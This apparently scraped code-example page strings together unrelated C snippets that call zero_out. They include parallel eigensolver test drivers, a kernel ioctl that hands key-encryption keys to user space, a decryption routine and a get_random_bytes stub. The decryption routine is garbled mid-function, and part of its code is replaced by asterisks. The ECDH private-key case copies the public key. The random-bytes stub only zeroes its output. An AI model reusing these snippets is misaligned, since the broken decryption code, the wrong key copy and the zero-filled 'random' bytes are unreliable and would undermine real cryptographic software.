  if ( ( vecZ = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA  allocation = %d \n", me, ii);
    exit(-1);
  }
  
  if ( (matrixZ = (DoublePrecision *) malloc( ii * n * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for matrixZ \n", me);
    exit(-1);
  }
  
  neleZ = ii*n;
  
  dptr = matrixZ;
  k = 0;
  for ( i = 0; i < ii; i++ ) {
    vecZ[i] = dptr;
    dptr += n;
  }
  
  if ( (eval = (DoublePrecision *) malloc( n * sizeof(DoublePrecision ))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for eigenvalue space \n", me);
    exit(-1);
  }
  
  index = 1;
  /*
  fprintf(stderr, "me = %d: just before memreq \n", me);
  */
  rsize = 0;
  isize = 0;
  ptr_size = 0;
  iscratch = ( Integer *) malloc( 6*n*sizeof(Integer));
  memreq_( &index, &n, mapA, mapB, mapZ, &isize, &rsize, &ptr_size, iscratch );
  /*
  fprintf(stderr, "me = %d: just after memreq isize = %d rsize = %d ptr_size %d \n", me, isize, rsize, ptr_size);
  */
  
  free(iscratch);
  
  if ( (iscratch = (Integer *) malloc( 4* isize * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " me = %d ERROR in memory allocation, not enough memory for integer scratch space \n", me);
    exit(-1);
  }
  
  if ( (scratch = (DoublePrecision *) malloc( 4*rsize * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, " me %d  ERROR in memory allocation, not enough memory for DoublePrecision scratch space \n", me);
    exit(-1);
  }
  
  
  if ( (iptr = (DoublePrecision **) malloc( 4*ptr_size * sizeof(DoublePrecision *))) == NULL ) {
    fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for pointer scratch space \n", me);
    exit(-1);
  }
  
  if( me == 0 )
    fprintf(stderr, " Wilkinson \n" );
  
  for ( ii = 0; ii < 1; ii++ ) {
  
     /* set data modified by pdspevx */
  
     zero_out( neleZ, matrixZ );
     zero_out( neleA, matrixA );
  
     for ( k = 0;  k < n; k++ ) {
       indx = ( k % nprocs);
       mapZ[k] = indx;
     }
  
     k = 0;
     for ( indx = 0; indx < n; indx++ ){
       if ( me == mapA[indx] ) {
         vecA[k][0] = dd[indx];
         if ( indx != n-1 )
   	   vecA[k][1] = ee[indx+1];
         k++;
       }
     }

#ifdef TIMING
     time1 = mxclock_();

     mxsync_();

     time1 = mxclock_();
#endif

     mxtime_( &IZERO, &t_com );

     pdspev( &n, vecA, mapA, vecZ, mapZ, eval, iscratch,
	    &isize, iptr, &ptr_size ,scratch, &rsize, &info);

     if ( me == 0 )
       for ( k = 0; k < n; k++ )
	 printf(" driver wilk k = %d eval %f \n", k, eval[k]);
     
     mxsync_();
#ifdef TIMING
     timex = mxclock_();

     mxtime_( &IONE, &t_com );
  
     if( ii == 0 )
       time2 = timex - time1;
#endif
     
     if (!NO_EVEC){
       
       tresid( &n, &n, dd, ee, vecZ, mapZ, eval, iscratch, scratch, &res, &info);
       
       if( me == 0 )
	 fprintf(stderr, " iteration # %d : A Z - Z D residual = %g \n", ii, res);
       
       ortho( &n, &n, vecZ, mapZ, iptr, iscratch, scratch, &res, &info);
       
       if( me == 0 )
	 fprintf(stderr, " iteration # %d : Z' Z - I residual = %g \n", ii, res);
       
     }
  }
     
#ifdef TIMING
  
  test_timing.pdspevx = timex - time1;

  if (!NO_EVEC){
    ii = 0;
    if ( info == 0 ) {
      for ( k = 0; k < n; k++ ) {
	if ( mapZ[k] == me )  {
	  *scratch = dasum_( &n , vecZ[ii], &IONE );
	  ii++;
	}
      }
    }
  }
    
  if (me == 0 ){
    fprintf(stderr, " n = %d nprocs = %d \n", n, nprocs);
    fprintf(stderr, " time1   = %f \n", time2);
    fprintf(stderr, " pdspgvx = %f \n", test_timing.pdspgvx);
    fprintf(stderr, " pdspevx = %f \n", test_timing.pdspevx);
    fprintf(stderr, " choleski = %f \n", test_timing.choleski);
    fprintf(stderr, " inverse = %f \n", test_timing.inverse);
    fprintf(stderr, " conjug = %f \n", test_timing.conjug);
    fprintf(stderr, " householder = %f \n", test_timing.householder);
    fprintf(stderr, " mxm5x = %f \n", test_timing.mxm5x);
    fprintf(stderr, " mxm25 = %f \n", test_timing.mxm25);
    fprintf(stderr, " pstein = %f \n", test_timing.pstein);
    fprintf(stderr, " pstebz = %f \n", test_timing.pstebz);
  }

  /*  Compute and print commmunication time */

  tim_com( test_timing.pdspevx, t_com, iscratch, scratch );

#endif


  free(iptr);
  free(scratch);
  free(iscratch);
  free(eval);
  free(matrixZ);
  free(vecZ);
  free(vecA);
  free(matrixA);
  free(mapZ);
  free(mapA);
  icounter+=abs(random() % 31 );
  }
  return;
}
Example #19
0
static long dek_do_ioctl_kek(unsigned int minor, unsigned int cmd,
		unsigned long arg) {
	long ret = 0;
	void __user *ubuf = (void __user *)arg;

	switch (cmd) {
	case DEK_GET_KEK: {
		dek_arg_get_kek req;
		int requested_type = 0;
		int userid;
		int key_arr_idx;

		DEK_LOGD("DEK_GET_KEK\n");

		memset(&req, 0, sizeof(dek_arg_get_kek));
		if(copy_from_user(&req, ubuf, sizeof(req))) {
			DEK_LOGE("can't copy from user kek\n");
			ret = -EFAULT;
			goto err;
		}

		userid = req.userid;
		if (!dek_is_persona(userid)) {
			DEK_LOGE("%s invalid userid %d\n", __func__, userid);
			return -EFAULT;
		}
		key_arr_idx = PERSONA_KEY_ARR_IDX(userid);

		requested_type = req.kek_type;
		req.key.len = 0;
		req.key.type = -1;

		switch(requested_type) {
		case KEK_TYPE_SYM:
			if (SDPK_sym[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_sym[key_arr_idx], KEK_TYPE_SYM);
				DEK_LOGD("SDPK_sym len : %d\n", req.key.len);
			}else{
				DEK_LOGE("SDPK_sym not-available\n");
				ret = -EIO;
				goto err;
			}
			break;
		case KEK_TYPE_RSA_PUB:
			if (SDPK_Rpub[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_Rpub[key_arr_idx], KEK_TYPE_RSA_PUB);
				DEK_LOGD("SDPK_Rpub len : %d\n", req.key.len);
			} else {
				DEK_LOGE("SDPK_Rpub not-available\n");
				ret = -EIO;
				goto err;
			}
			break;
		case KEK_TYPE_RSA_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
			if (SDPK_Rpri[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_Rpri[key_arr_idx], KEK_TYPE_RSA_PRIV);
				DEK_LOGD("SDPK_Rpri len : %d\n", req.key.len);
			} else {
				DEK_LOGE("SDPK_Rpri not-available\n");
				ret = -EIO;
				goto err;
			}
#else
			DEK_LOGE("SDPK_Rpri not exposed\n");
			ret = -EOPNOTSUPP;
			goto err;
#endif
			break;
		case KEK_TYPE_DH_PUB:
			if (SDPK_Dpub[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_Dpub[key_arr_idx], KEK_TYPE_DH_PUB);
				DEK_LOGD("SDPK_Dpub len : %d\n", req.key.len);
			} else {
				DEK_LOGE("SDPK_Dpub not-available\n");
				ret = -EIO;
				goto err;
			}

			break;
		case KEK_TYPE_DH_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
			if (SDPK_Dpri[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_Dpri[key_arr_idx], KEK_TYPE_DH_PRIV);
				DEK_LOGD("SDPK_Dpri len : %d\n", req.key.len);
			} else {
				DEK_LOGE("SDPK_Dpri not-available\n");
				ret = -EIO;
				goto err;
			}
#else
			DEK_LOGE("SDPK_Dpri not exposed\n");
			ret = -EOPNOTSUPP;
			goto err;
#endif
			break;
        case KEK_TYPE_ECDH256_PUB:
            if (SDPK_EDpub[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_EDpub[key_arr_idx], KEK_TYPE_ECDH256_PUB);
                DEK_LOGD("SDPK_EDpub len : %d\n", req.key.len);
            } else {
                DEK_LOGE("SDPK_EDpub not-available\n");
                ret = -EIO;
                goto err;
            }

            break;
        case KEK_TYPE_ECDH256_PRIV:
#ifdef CONFIG_SDP_IOCTL_PRIV
            if (SDPK_EDpri[key_arr_idx].len > 0) {
                copy_kek(&req.key, &SDPK_EDpub[key_arr_idx], KEK_TYPE_ECDH256_PRIV);
                DEK_LOGD("SDPK_EDpri len : %d\n", req.key.len);
            } else {
                DEK_LOGE("SDPK_EDpri not-available\n");
                ret = -EIO;
                goto err;
            }
#else
            DEK_LOGE("SDPK_EDpri not exposed\n");
            ret = -EOPNOTSUPP;
            goto err;
#endif
            break;
		default:
			DEK_LOGE("invalid key type\n");
			ret = -EINVAL;
			goto err;
			break;
		}

		if(copy_to_user(ubuf, &req, sizeof(req))) {
			DEK_LOGE("can't copy to user kek\n");
			zero_out((char *)&req, sizeof(dek_arg_get_kek));
			ret = -EFAULT;
			goto err;
		}
		zero_out((char *)&req, sizeof(dek_arg_get_kek));
		break;
	}
	default:
		DEK_LOGE("%s case default\n", __func__);
		ret = -EINVAL;
		break;
	}

	return ret;
err:
	return ret;
}
Example #20
0
void main1_()
{
  
  /*
    for  xpress.com
    */
  
  static Integer three = (Integer) 3, IONE = (Integer) 1;
  static Integer IZERO = (Integer) 0;
  static DoublePrecision DZERO = (DoublePrecision) 0.0e0;
  Integer index;

  Integer nocare_, norder_, nonode_, ihost_, ialnod_, ialprc_;
  Integer me_, host_, nproc_;

  char    range, order;
  Integer n, ii, me, indx, k, i, jndx, iii;
  Integer iseed[4];
  Integer *mapA, *mapB, *mapZ;
  Integer *mapvecA, *mapvecB, *mapvecZ;
  Integer *iscratch;
  DoublePrecision **iptr;
  Integer is_size, rsize, ptr_size;
  Integer nprocs, isize;
  Integer info;
  
  DoublePrecision *scratch, *eval, *dptr;
  DoublePrecision *diagA, *subdiagA, *diagB, *subdiagB;
  DoublePrecision *matrixA, *matrixB, *matrixZ;
  DoublePrecision **vecA, **vecB, **vecZ;
  DoublePrecision **vecAA, **vecBB, **vecZZ;
  DoublePrecision res, t_com;
  DoublePrecision time1, time2;
  DoublePrecision mxclock_(); 

#ifdef TIMING
  extern TIMINGG test_timing;
#endif
  
  static Integer countlist();
  
  extern void geneig_res();
  extern void b_ortho();
  extern void tim_com();
  extern void mxend_();
  extern void mxinit_(), mxtime_();
  extern void mxpara_();
  extern Integer mxnprc_();
  extern Integer mxmynd_();
  
  extern void memreq_();
  extern Integer nnodes_();
  
  extern Integer ci_size_();
  extern void pdsygv_();
  extern DoublePrecision dlarnd_();
  extern DoublePrecision dasum_();
  extern DoublePrecision fabs();

  /*
    extern char malloc();
    */
  
  extern void dspgv2_();

  mxinit_();
  me = mxmynd_();
  nprocs = mxnprc_();
  
#ifdef TIMING
  test_timing.choleski = 0.0e0;
  test_timing.inverse  = 0.0e0;
  test_timing.conjug  = 0.0e0;
  test_timing.householder  = 0.0e0;
  test_timing.pstebz  = 0.0e0;
  test_timing.pstein  = 0.0e0;
  test_timing.mxm5x  = 0.0e0;
  test_timing.mxm25  = 0.0e0;
  test_timing.pdspevx  = 0.0e0;
  test_timing.pdspgvx  = 0.0e0;
#endif

  k = 0;
  n = 500;
  
  diagA    = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
  subdiagA = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
  diagB    = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));
  subdiagB = (DoublePrecision *) malloc( n * sizeof(DoublePrecision));

  if( diagA == NULL || subdiagA == NULL || diagB == NULL || subdiagB == NULL ) {
    fprintf(stderr, " me = %d: ERROR not enough memory for diagA or subdiagA, ...\n",
            me );
    exit(-1);
  }
  
  iscratch = (Integer *) malloc ( (4*n + 100) * sizeof(Integer));
  
  if ((mapA = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " me = %d: ERROR not enough memory for mapA %d \n", me, n  );
    exit(-1);
  }
  
  if ((mapB = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for mapB \n");
    exit(-1);
  }
  
  if ((mapZ = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " ERROR in memory allocation, not enough memory for mapZ \n");
    exit(-1);
  }
  
  /*
     set the column mapping of processors
     */
  
  for ( ii = 0;  ii < n; ii++ ) {
    indx = ( ii % nprocs);
    
    mapA[ii] = 0;
    mapB[ii] = 0;
  }
  
  for ( ii = 0 ;  ii < n; ii++ ) {
    indx = ( ii % nprocs);
    
    mapZ[ii] = 0;
  }
  
  
  /*
     if ( nprocs > 2 ) {
     mapZ[0] = nprocs-1;
     for ( ii = 1; ii < n; ii++) {
     indx = ( ii  % (nprocs - 1));
     mapZ[ii] = indx;
     }
     }
     else {
     for ( ii = 0; ii < n; ii++) {
     indx = ( ii  % nprocs );
     mapZ[ii] = indx;
     }
     }
     */
  
  for ( i = 0; i < 3; i++ )
    iseed[i] = 1;
  iseed[3] = 2*me*100 + 3;
  
  /*
     for symmetric matrix with this data distribution
     */

  
  ii = ci_size_( &me, &n, mapA );
  if ( ii > 0 ) {
    if ( (matrixA = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
      fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixA memory size = %d \n", me, ii);
      exit(-1);
    }
  }
  
  dptr = matrixA;
  for ( indx = 0; indx < ii; indx++ ) {
    *( dptr++ ) = 0.0e0;
  }
  
  ii = countlist ( me, mapA, &n );
  if ( ii > 0 ) {
    if ( ( vecA = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
      fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, ii );
      exit(-1);
    }
  }
  else {
    if ( ( vecA = ( DoublePrecision ** ) malloc ( n * sizeof(DoublePrecision *))) == NULL ) {
      fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, n );
      exit(-1);
    }
  }
  
      
  i = 0;
  dptr = matrixA;
  for ( indx = 0; indx < n; indx++ ) {
    if ( mapA[indx] == me ) {
      vecA[i] = dptr;
      i++;
      dptr += ( n - indx);
    }
  }
  
  i = 0;
  for ( indx = 0; indx < n; indx++ ){

    /*
     * A is symmetric, tri-diagonal.  Set diagA, subdiagA equal
     * to diagonal and subdiagonal parts of matrix.
     * diagA and subdiagA are used to compute residual.
     */

    diagA[indx]    = 1.0/( indx + 1 );
    subdiagA[indx] = -1.0e0;

    if ( mapA[indx] == me ) {
      vecA[i][0] = 1.0/( indx + 1 );
      if ( indx != (n-1))
	vecA[i][1] = -1.0e0;
      i++;
    }
  }
  subdiagA[0] = 0.0e0;

  ii = ci_size_( &me, &n, mapB );
  if ( (matrixB = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixB \n", me);
    exit(-1);
  }
  
  zero_out ( ii, matrixB);
  dptr = matrixB;
  for ( indx = 0; indx < ii; indx++ ) {
    *( dptr++ ) = 0.0e0;
  }
  
  ii = countlist ( me, mapB, &n );
  if ( ( vecB = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA \n", me);
    exit(-1);
  }
  
  
  i = 0;
  dptr = matrixB;
  for ( indx = 0; indx < n; indx++ ) {

    /*
     * B is symmetric, tri-diagonal.  Set diagB, subdiagB equal
     * to diagonal and subdiagonal parts of matrix.
     * diagB and subdiagB are used to compute residual.
     */

    diagB[indx]    = 20.0e0;
    subdiagB[indx] = -1.0e0;

    if ( mapB[indx] == me ) {    /* column */
      vecB[i] = dptr;
      vecB[i][0] = 20.0e0;
      if ( indx != ( n-1))
	vecB[i][1]= -1.0e0;
      dptr += ( n-indx);
      i++;
    }
  }
  subdiagB[0] = 0.0e0;
  
  /*
    use the utility routine count_list to determine the number of columns of Z that are stored
    on this processor using the above distribution
    */
  
  ii = countlist ( me, mapZ, &n );
  if ( ( vecZ = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA  allocation = %d \n", me, ii);
    exit(-1);
  }
  
  if ( (matrixZ = (DoublePrecision *) malloc( ii * n * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for matrixZ \n", me);
    exit(-1);
  }
  
  dptr = matrixZ;
  
  i = ii*n;
  zero_out( i, matrixZ );
  
  dptr = matrixZ;
  k = 0;
  for ( i = 0; i < ii; i++ ) {
    vecZ[i] = dptr;
    dptr += n;
  }
  
  if ( (eval = (DoublePrecision *) malloc( n * sizeof(DoublePrecision ))) == NULL ) {
    fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for eigenvalue space \n", me);
    exit(-1);
  }
  
  index = 0;
  
/*
 * fprintf(stderr, "me = %d: just before memreq \n", me);
*/
  
  rsize = 0;
  isize = 0;
  ptr_size = 0;

/*
  for ( iii = 0; iii < n; iii++ )
    fprintf(stderr, " me = %ld iii = %ld mapA = %ld mapB = %ld mapZ = %ld \n", me, iii, mapA[iii], mapB[iii], mapZ[iii]);
  
*/

  memreq_( &index, &n, mapA, mapB, mapZ, &isize, &rsize, &ptr_size, iscratch );
/*
 * fprintf(stderr, "me = %d: just after memreq isize = %d rsize = %d ptr_size %d \n", me, isize, rsize, ptr_size);
*/
  
  free(iscratch);

  if ( (iscratch = (Integer *) malloc( 2*isize * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " me = %d ERROR in memory allocation, not enough memory for integer scratch space \n", me);
    exit(-1);
  }
  
  rsize = 2 * rsize;
  if ( (scratch = (DoublePrecision *) malloc( rsize * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, " me %d  ERROR in memory allocation, not enough memory for DoublePrecision scratch space \n", me);
    exit(-1);
  }
  
  
  if ( (iptr = (DoublePrecision **) malloc( 2*ptr_size * sizeof(DoublePrecision *))) == NULL ) {
    fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for pointer scratch space \n", me);
    exit(-1);
  }
  
  mxsync_();
  
  if( me == 0 )
    fprintf(stderr, " geneig_la \n" );
  
#ifdef TIMING
  mxsync_();
  time1 = mxclock_();
#endif

  time1 = mxclock_();
  
/*
 * indx = 1;  
 * for ( iii = 0; iii < 1; iii++ ){
 *   mxtime_( &IZERO, &t_com );
 *   pdspgv ( &indx, &n, vecA, mapA, vecB, mapB, vecZ, mapZ, eval, iscratch,
 *	    &isize, iptr, &ptr_size ,scratch, &rsize, &info);
 *  }
 */

  indx  = 1;  
  range = 'V';
  order = 'L';
  dspgv2_( &indx, &range, &order, &n, matrixA, matrixB, eval, matrixZ, &n,
           scratch, iscratch, &info);

  fflush(stdout);
  
#ifdef TIMING
  mxsync_();
  test_timing.pdspgvx = mxclock_() - time1;

  mxtime_( &IONE, &t_com );
  
  ii = 0;
  if ( n < 30 ){
    if ( info == 0 ) {
      for ( k = 0; k < n; k++ ) {
	if ( mapZ[k] == me )  {
	  *scratch = dasum_( &n , vecZ[ii], &IONE );
	  ii++;
	}
      }
    }
  }
  
  if (me == 0 ){
    fprintf(stderr, " n = %d nprocs = %d \n", n, nprocs);
    fprintf(stderr, " pdspgvx = %f \n", test_timing.pdspgvx);
  }

#endif

  geneig_res( &n, diagA, subdiagA, diagB, subdiagB, vecZ, mapZ, eval,
              iscratch, scratch, &res, &info);

  if (me == 0 )
    fprintf(stderr, " A Z - D B Z residual = %g \n", res);

  i = 0;
  for ( indx = 0; indx < n; indx++ ) {
    if ( mapB[indx] == me ) {
      ii = n-indx;
      zero_out( ii, vecB[i] );

      vecB[i][0] = 20.0e0;
      if ( indx != ( n-1))
	vecB[i][1]= -1.0e0;
      i++;
    }
  }

  mxsync_();
  
  b_ortho( &n, vecB, mapB, &n, vecZ, mapZ, iptr, iscratch, scratch, &res, &info);

  if( me == 0 )
    fprintf(stderr, " Z' B Z - I residual = %g \n", res);

  ii = 0;
  if ( n < 30 ){
    if ( info == 0 ) {
      for ( k = 0; k < n; k++ ) {
	if ( mapZ[k] == me )  {
	  *scratch = dasum_( &n , vecZ[ii], &IONE );
	  ii++;
	}
      }
    }
  }
  
  free(iptr);
  free(scratch);
  free(iscratch);
  free(eval);
  free(matrixZ);
  free(vecZ);
  free(vecB);
  free(matrixB);
  free(vecA);
  free(matrixA);
  free(mapZ);
  free(mapB);
  free(mapA);

  return;
  
  /*
     mxpend_();
     */
  
}
Example #21
0
void get_random_bytes(unsigned long amount, unsigned char* output){
    zero_out(output);} // not yet implemented      
Example #22
0
static int dek_decrypt_dek(int userid, dek_t *encDek, dek_t *plainDek) {
	int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);

	if (!dek_is_persona(userid)) {
		DEK_LOGE("%s invalid userid %d\n", __func__, userid);
		return -EFAULT;
	}
#if DEK_DEBUG
	DEK_LOGD("encDek from user: "******"aes decrypt failed\n");
				dek_add_to_log(userid, "aes decrypt failed");
				plainDek->len = 0;
			} else {
				plainDek->len = encDek->len;
				plainDek->type = DEK_TYPE_PLAIN;
			}
		} else {
			DEK_LOGE("no SDPK_sym key for id: %d\n", userid);
			dek_add_to_log(userid, "decrypt failed, persona locked");
			return -EIO;
		}
	} else if (encDek->type == DEK_TYPE_RSA_ENC) {
		DEK_LOGE("Not supported key type: %d\n", encDek->type);
		dek_add_to_log(userid, "decrypt failed, RSA type not supported");
		return -EFAULT;
	} else if (encDek->type == DEK_TYPE_DH_ENC) {
#ifdef CONFIG_PUB_CRYPTO
		if(SDPK_Dpri[key_arr_idx].len > 0) {
			if(dh_decryptEDEK(encDek, plainDek, &SDPK_Dpri[key_arr_idx])){
			    DEK_LOGE("dh_decryptEDEK failed");
				return -1;
			}
		}else{
			DEK_LOGE("SDPK_Dpri for id: %d\n", userid);
			dek_add_to_log(userid, "encrypt failed, no SDPK_Dpri");
			return -EIO;
		}
#else
		DEK_LOGE("Not supported key type: %d\n", encDek->type);
		dek_add_to_log(userid, "decrypt failed, DH type not supported");
		return -EOPNOTSUPP;
#endif
	} else {
		DEK_LOGE("Unsupported decrypt key type: %d\n", encDek->type);
		dek_add_to_log(userid, "decrypt failed, unsupported key type");
		return -EFAULT;
	}

	if (plainDek->len <= 0 || plainDek->len > DEK_LEN) {
		DEK_LOGE("dek_decrypt_dek, incorrect len=%d\n", plainDek->len);
		zero_out((char *)plainDek, sizeof(dek_t));
		return -EFAULT;
	} else {
#if DEK_DEBUG
		DEK_LOGD("plainDek to user: ");
		dump(plainDek->buf, plainDek->len);
#endif
	}
	return 0;
}